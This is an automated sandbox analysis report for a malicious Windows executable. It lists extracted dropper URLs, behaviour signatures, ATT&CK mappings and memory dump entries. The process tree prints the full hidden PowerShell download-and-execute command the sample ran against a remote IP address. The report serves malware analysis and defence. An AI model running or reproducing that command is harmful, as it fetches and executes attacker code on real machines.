044c16cdbc6ec18f58bfecaacf4d4e21150a19d8d10c694c4a4c3085697499a2

Analysis

max time kernel
13s
max time network
15s
platform
windows7_x64
resource
win7v20201028
submitted
04-01-2021 02:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://45.82.79.89:80/update

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1960 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1960 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1960 powershell.exe

flow	pid	process
4	1960	powershell.exe

pid	process
1960	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1960	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe

description	pid	process	target process
PID 1068 wrote to memory of 1960	1068	a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe	powershell.exe
PID 1068 wrote to memory of 1960	1068	a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe	powershell.exe
PID 1068 wrote to memory of 1960	1068	a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe	powershell.exe
PID 1068 wrote to memory of 1960	1068	a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe
"C:\Users\Admin\AppData\Local\Temp\a2d4e5d989f091cc30e88e850af43ba620c893946a891217c0322f0ff29c2926.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://45.82.79.89:80/update'))"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1960

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1960-2-0x0000000000000000-mapping.dmp

Download
memory/1960-3-0x0000000074A00000-0x00000000750EE000-memory.dmp

Filesize
6.9MB

Download
memory/1960-4-0x0000000002110000-0x0000000002111000-memory.dmp

Filesize
4KB

Download
memory/1960-5-0x00000000047B0000-0x00000000047B1000-memory.dmp

Filesize
4KB

Download
memory/1960-6-0x0000000004650000-0x0000000004651000-memory.dmp

Filesize
4KB

Download
memory/1960-7-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1960-10-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

Download
memory/1960-15-0x0000000005890000-0x0000000005891000-memory.dmp

Filesize
4KB

Download
memory/1960-16-0x0000000006440000-0x0000000006441000-memory.dmp

Filesize
4KB

Download
memory/1960-23-0x00000000064D0000-0x00000000064D1000-memory.dmp

Filesize
4KB

Download
memory/1960-24-0x00000000064F0000-0x00000000064F1000-memory.dmp

Filesize
4KB

Download